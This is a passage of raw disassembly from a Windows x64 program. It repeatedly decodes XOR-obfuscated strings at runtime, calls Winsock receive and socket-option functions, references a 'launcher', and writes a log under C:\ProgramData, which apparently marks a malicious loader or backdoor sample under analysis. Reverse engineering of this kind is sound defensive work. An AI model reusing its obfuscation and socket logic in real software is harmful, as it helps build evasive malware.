mov qword [rbp + 0x628], rcx
movabs rax, 0xb2b13708536deba1
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x630], rcx
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x620]
vpxor ymm1, ymm0, ymmword [rbp + 0x3020]
vmovdqa ymmword [rbp + 0x620], ymm1
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3500], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3508], rax
vmovdqa xmm0, xmmword [rbp + 0x460]
vxorps xmm0, xmm0, xmmword [rbp + 0x3500]
vmovdqa xmmword [rbp + 0x460], xmm0
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0xf80]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba42
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4a0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x4a8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x34f0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x34f8], rax
movdqa xmm0, xmmword [rbp + 0x4a0]
xorps xmm0, xmmword [rbp + 0x34f0]
movdqa xmmword [rbp + 0x4a0], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x34e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x34e8], rax
movdqa xmm0, xmmword [rbp + 0x470]
xorps xmm0, xmmword [rbp + 0x34e0]
movdqa xmmword [rbp + 0x470], xmm0
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0xf60]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x28], 0
mov edx, 0x20c
lea rcx, [rbp + 0xd80]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0xf40]
lea rcx, [rbp + 0x28]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x490], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x498], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x34d0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x34d8], rax
movdqa xmm0, xmmword [rbp + 0x490]
xorps xmm0, xmmword [rbp + 0x34d0]
movdqa xmmword [rbp + 0x490], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0xf20]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x480], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x488], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x34c0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x34c8], rax
movdqa xmm0, xmmword [rbp + 0x480]
xorps xmm0, xmmword [rbp + 0x34c0]
movdqa xmmword [rbp + 0x480], xmm0
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0xf00]
call fcn.140018f00
nop
lea r8, [rbp + 0x490]
mov rdx, rax
lea rcx, [rbp + 0xee0]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xec0]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xea0]
call fcn.140019110
nop
lea r8, [rbp + 0x4a0]
mov rdx, rax
lea rcx, [rbp + 0xe80]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0xe60]
call fcn.140019110
nop
lea r8, [rbp + 0x620]
mov rdx, rax
lea rcx, [rbp + 0xe40]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xe20]
call fcn.140019110
nop
lea r8, [rbp + 0x5c0]
mov rdx, rax
lea rcx, [rbp + 0xe00]
call fcn.140019030
nop
mov r8, qword [rbp + 0x18]
mov rdx, rax
lea rcx, [rbp + 0xde0]
call fcn.1400190a0
nop
lea r8, [rbp + 0x4b0]
mov rdx, rax
lea rcx, [rbp + 0xdc0]
call fcn.140019030
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0xda0]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x2cf0]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x2cf0]
call fcn.1400106e0
nop
lea rcx, [rbp + 0xda0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xdc0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xde0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xe00]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xe20]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xe40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xe60]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xe80]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xea0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xec0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xee0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xf00]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xf20]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xf40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xf60]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xf80]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xfa0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xfc0]
call fcn.140017eb0
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3360], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3368], rax
movdqa xmm0, xmmword [rbp + 0x4c0]
xorps xmm0, xmmword [rbp + 0x3360]
movdqa xmmword [rbp + 0x4c0], xmm0
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x11c0]
call fcn.140017fd0
mov r15, rax
lea rdx, [rbp + 0x3740]
lea rcx, [rbp + 0x11a0]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x520], rcx
movabs rax, 0xe2fd62936d021184
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x528], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x34b0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x34b8], rax
movdqa xmm0, xmmword [rbp + 0x520]
xorps xmm0, xmmword [rbp + 0x34b0]
movdqa xmmword [rbp + 0x520], xmm0
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x34a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x34a8], rax
movdqa xmm0, xmmword [rbp + 0x4d0]
xorps xmm0, xmmword [rbp + 0x34a0]
movdqa xmmword [rbp + 0x4d0], xmm0
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x1180]
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba42
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x510], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x518], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3520], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3528], rax
movdqa xmm0, xmmword [rbp + 0x510]
xorps xmm0, xmmword [rbp + 0x3520]
movdqa xmmword [rbp + 0x510], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3480], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3488], rax
movdqa xmm0, xmmword [rbp + 0x4e0]
xorps xmm0, xmmword [rbp + 0x3480]
movdqa xmmword [rbp + 0x4e0], xmm0
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x1160]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x29], 0
mov edx, 0x20d
lea rcx, [rbp + 0xfe0]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x1140]
lea rcx, [rbp + 0x29]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x500], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x508], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3470], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3478], rax
movdqa xmm0, xmmword [rbp + 0x500]
xorps xmm0, xmmword [rbp + 0x3470]
movdqa xmmword [rbp + 0x500], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1120]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4f0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x4f8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3460], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3468], rax
movdqa xmm0, xmmword [rbp + 0x4f0]
xorps xmm0, xmmword [rbp + 0x3460]
movdqa xmmword [rbp + 0x4f0], xmm0
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x1100]
call fcn.140018f00
nop
lea r8, [rbp + 0x500]
mov rdx, rax
lea rcx, [rbp + 0x10e0]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x10c0]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x10a0]
call fcn.140019110
nop
lea r8, [rbp + 0x510]
mov rdx, rax
lea rcx, [rbp + 0x1080]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1060]
call fcn.140019110
nop
lea r8, [rbp + 0x520]
mov rdx, rax
lea rcx, [rbp + 0x1040]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1020]
call fcn.140019110
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x1000]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x2df8]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x2df8]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x1000]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1020]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1040]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1060]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1080]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x10a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x10c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x10e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1100]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1120]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1140]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1160]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1180]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x11a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x11c0]
call fcn.140017eb0
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140016a27
mov r14, qword [rbp + 0x10]
nop word [rax + rax]
xor ebx, ebx
mov rdi, r14
cmp ebx, 2
jl 0x140015e9d
cmp ebx, 0x3ff
jge 0x140015ecb
cmp byte [rdi - 1], 0xd
je 0x140015ecb
cmp byte [rdi], 0xa
je 0x140015ecb
movsxd rax, ebx
lea rdx, [rbp + 0x3740]
add rdx, rax
xor r9d, r9d
mov r8d, 1
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140016a27
inc ebx
inc rdi
jmp 0x140015e85
cmp byte [rbp + 0x3740], 0xd
jne 0x140015e80
cmp byte [rbp + 0x3741], 0xa
jne 0x140015e80
mov dword [rbp + 0x3014], 1
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x3014]
mov edx, 6
mov r8d, 1
mov rcx, r15
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rbp + 0x3010], 1
lea r8, [rbp + 0x3010]
mov edx, 0x8004667e
mov rcx, r15
call qword [sym.imp.WS2_32.dll_ioctlsocket]
movabs rax, 0x8753f2366f3dba69
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x530], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x538], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3450], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3458], rax
movdqa xmm0, xmmword [rbp + 0x530]
xorps xmm0, xmmword [rbp + 0x3450]
movdqa xmmword [rbp + 0x530], xmm0
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x1320]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x8753f2366f3d9b41
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x590], rcx
mov qword [rbp + 0x10], r12
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x598], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3440], rcx
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3448], rax
movdqa xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rbp + 0x3440]
movdqa xmmword [rbp + 0x590], xmm0
movabs rax, 0xda27975d0c52c938
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e0], rax
movabs rax, 0x969e07fd036d5284
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e8], rax
movabs rax, 0xd7c2174f073efab0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f0], rax
movabs rax, 0x2b30735d100c317c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f8], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3020], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3028], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3030], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3020]
vmovdqa ymmword [rbp + 0x5e0], ymm1
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x548], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3420], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3428], rax
vmovdqa xmm0, xmmword [rbp + 0x540]
vxorps xmm0, xmm0, xmmword [rbp + 0x3420]
vmovdqa xmmword [rbp + 0x540], xmm0
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x1300]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba48
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x580], rcx
mov qword [rbp + 0x10], r12
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x588], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3410], rcx
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3418], rax
movdqa xmm0, xmmword [rbp + 0x580]
xorps xmm0, xmmword [rbp + 0x3410]
movdqa xmmword [rbp + 0x580], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x550], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x558], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3400], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3408], rax
movdqa xmm0, xmmword [rbp + 0x550]
xorps xmm0, xmmword [rbp + 0x3400]
movdqa xmmword [rbp + 0x550], xmm0
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x12e0]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x2a], 0
mov edx, 0x221
lea rcx, [rbp + 0x9c0]
call fcn.14000d400
lea r8, [rbp + 0x9c0]
lea rdx, [rbp + 0x12c0]
lea rcx, [rbp + 0x2a]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x570], rcx
mov qword [rbp + 0x10], r12
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x578], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x33f0], rcx
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33f8], rax
movdqa xmm0, xmmword [rbp + 0x570]
xorps xmm0, xmmword [rbp + 0x33f0]
movdqa xmmword [rbp + 0x570], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x12a0]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x560], rcx
mov qword [rbp + 0x10], r12
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x568], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x33e0], rcx
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33e8], rax
movdqa xmm0, xmmword [rbp + 0x560]
xorps xmm0, xmmword [rbp + 0x33e0]
movdqa xmmword [rbp + 0x560], xmm0
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x1280]
call fcn.140018f00
nop
lea r8, [rbp + 0x570]
mov rdx, rax
lea rcx, [rbp + 0x1260]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x940]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0x940]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x960]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x580]
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x1240]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x980]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x5e0]
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0x1220]
call fcn.140019030
nop
mov r8, qword [rbp + 0x18]
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.1400190a0
nop
lea r8, [rbp + 0x590]
mov rdx, rax
lea rcx, [rbp + 0x11e0]
call fcn.140019030
nop
mov r9, r14
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x9a0]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x27c8]
call fcn.140017c10
nop
lea rdx, [rbp + 0x9a0]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x2870]
call fcn.140017b90
lea rcx, [rbp + 0x2870]
call fcn.140017e40
nop
lea rcx, [rbp + 0x9a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x11e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1200]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1220]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x980]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1240]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x960]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x940]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1260]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1280]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x12a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x12c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x12e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1300]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1320]
call fcn.140017eb0
mov ecx, 0x60
call fcn.1400523cc
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
mov r8b, 1
mov rdx, r15
mov rcx, rax
call fcn.140010780
nop
jmp 0x140016a29
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5a8], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33d0], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33d8], rax
movdqa xmm0, xmmword [rbp + 0x5a0]
xorps xmm0, xmmword [rbp + 0x33d0]
movdqa xmmword [rbp + 0x5a0], xmm0
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x1500]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xda27975d0c52c938
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x600], rcx
movabs rax, 0xc2980ef10c6c4484
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x608], rcx
movabs rax, 0xd7c24541033ef1a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x610], rax
movabs rax, 0x2b3071472e3b122e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x618], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3020], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3028], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3030], rax
movabs rax, 0x2b30517d6269470e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x600]
vpxor ymm1, ymm0, ymmword [rbp + 0x3020]
vmovdqa ymmword [rbp + 0x600], ymm1
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5b0], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5b8], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33c0], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33c8], rax
vmovdqa xmm0, xmmword [rbp + 0x5b0]
vxorps xmm0, xmm0, xmmword [rbp + 0x33c0]
vmovdqa xmmword [rbp + 0x5b0], xmm0
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x14e0]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba42
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x10], r12
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x68], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x33b0], rcx
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33b8], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x33b0]
movdqa xmmword [rbp + 0x60], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33a0], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x33a8], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x33a0]
movdqa xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x14c0]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 8], 0
mov edx, 0x1e5
lea rcx, [rbp + 0x1340]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x14a0]
lea rcx, [rbp + 8]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x10], r12
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x58], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3390], rcx
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3398], rax
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x3390]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1480]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x10], r12
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x48], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3380], rcx
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3388], rax
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x3380]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x1460]
call fcn.140018f00
nop
lea r8, [rbp + 0x50]
mov rdx, rax
lea rcx, [rbp + 0x1440]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1420]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1400]
call fcn.140019110
nop
